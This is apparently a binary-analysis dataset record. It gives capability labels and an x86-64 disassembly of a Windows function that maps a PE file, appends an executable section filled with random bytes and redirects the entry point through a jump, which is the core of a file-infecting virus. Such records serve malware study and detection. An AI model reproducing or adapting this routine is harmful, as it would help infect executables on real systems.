Function at 0x140009590
Capabilities:
Check for time delay via gettickcount
Parse pe header
Read file via mapping
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push rbx
push rsi
push r12
push r13
push r15
sub rsp, 0x50
mov r13, rdx
mov rbx, rcx
call fcn.140009120
xor esi, esi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], rsi
mov edx, 0xc0000000
mov rcx, rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140009630
lea r8d, [rsi + 4]
xor r9d, r9d
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rbx, rax
test rax, rax
je 0x140009627
lea edx, [rsi + 6]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
test rax, rax
jne 0x14000963f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x50
pop r15
pop r13
pop r12
pop rsi
pop rbx
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r11d, 0x5a4d
cmp word [r15], r11w
jne 0x1400098d4
mov qword [rsp + 0x80], rbp
mov ebp, dword [r15 + 0x3c]
mov eax, 0x4550
add ebp, r15d
cmp word [rbp], ax
jne 0x1400098cc
movzx eax, word [rbp + 6]
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x90], r14
lea rcx, [rax + rax*4]
lea rdi, [rbp + rcx*8 + 0x108]
test rdi, rdi
je 0x1400096b9
xor eax, eax
cmp byte [r13], 0x2e
mov qword [rdi], rax
je 0x1400096b3
mov eax, dword [r13]
mov byte [rdi], 0x2e
mov dword [rdi + 1], eax
jmp 0x1400096b9
mov eax, dword [r13]
mov dword [rdi], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.14000ad30
call fcn.14000ad48
mov r9d, 2
mov ecx, eax
mov eax, 0x2aaaaaab
xor r8d, r8d
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
xor edx, edx
shl eax, 8
sub ecx, eax
mov ebx, ecx
mov dword [rsp + 0x4c], ecx
mov rcx, r12
shl ebx, 0xa
add ebx, 0x4012c
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [rdi - 0x20]
mov r8d, dword [rbp + 0x38]
mov r11d, eax
xor edx, edx
mov eax, ecx
div r8d
test edx, edx
je 0x140009725
lea ecx, [rax + 1]
imul ecx, r8d
add ecx, dword [rdi - 0x1c]
xor edx, edx
mov eax, ebx
mov dword [rdi + 0xc], ecx
mov r8d, dword [rbp + 0x3c]
mov ecx, ebx
div r8d
test edx, edx
je 0x140009743
lea ecx, [rax + 1]
imul ecx, r8d
mov dword [rdi + 0x10], ecx
mov r8d, dword [rbp + 0x3c]
xor edx, edx
mov eax, r11d
mov ecx, r11d
div r8d
test edx, edx
je 0x140009760
lea ecx, [rax + 1]
imul ecx, r8d
mov dword [rdi + 0x14], ecx
mov dword [rdi + 8], ebx
mov dword [rdi + 0x24], 0x60000020
inc word [rbp + 6]
mov ecx, dword [rdi + 8]
mov r8d, dword [rbp + 0x38]
xor edx, edx
mov eax, ecx
div r8d
test edx, edx
je 0x14000978a
lea ecx, [rax + 1]
imul ecx, r8d
add dword [rbp + 0x50], ecx
mov ecx, dword [rdi + 0x10]
mov r8d, dword [rbp + 0x3c]
xor edx, edx
mov eax, ecx
div r8d
test edx, edx
je 0x1400097a6
lea ecx, [rax + 1]
imul ecx, r8d
add dword [rbp + 0x1c], ecx
mov dword [rbp + 0xe4], esi
mov dword [rbp + 0xe0], esi
mov dword [rsp + 0x40], esi
mov eax, dword [rdi + 0x10]
sub eax, r11d
add eax, dword [rdi + 0x14]
movsxd r14, eax
mov dword [rsp + 0x48], eax
mov rcx, r14
call fcn.14000b2d4
mov r13, rax
test rax, rax
je 0x140009835
mov rbx, rsi
test r14, r14
jle 0x1400097fe
call fcn.14000ad48
inc rbx
cdq
movzx edx, dl
add eax, edx
movzx eax, al
sub eax, edx
cmp rbx, r14
mov byte [rbx + r13 - 1], al
jl 0x1400097e1
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x40]
mov rdx, r13
mov rcx, r12
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r13
call fcn.14000b118
mov eax, dword [rdi + 0x14]
mov ebx, dword [rsp + 0x4c]
xor r9d, r9d
lea edx, [rbx + rax]
xor r8d, r8d
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x98]
mov r8d, 1
mov rcx, r12
mov byte [rsp + 0x98], 0xe9
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [rbp + 0x28]
mov dword [rsp + 0x44], ecx
mov eax, 0xfffffffb
lea r9, [rsp + 0x40]
sub eax, ebx
lea rdx, [rsp + 0x44]
mov r8d, 4
sub eax, dword [rdi + 0xc]
mov qword [rsp + 0x20], rsi
add ecx, eax
mov dword [rsp + 0x44], ecx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r11d, dword [rdi + 0xc]
mov r14, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
lea eax, [rbx + r11]
mov esi, 1
mov dword [rbp + 0x28], eax
mov rbp, qword [rsp + 0x80]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, esi
add rsp, 0x50
pop r15
pop r13
pop r12
pop rsi
pop rbx
ret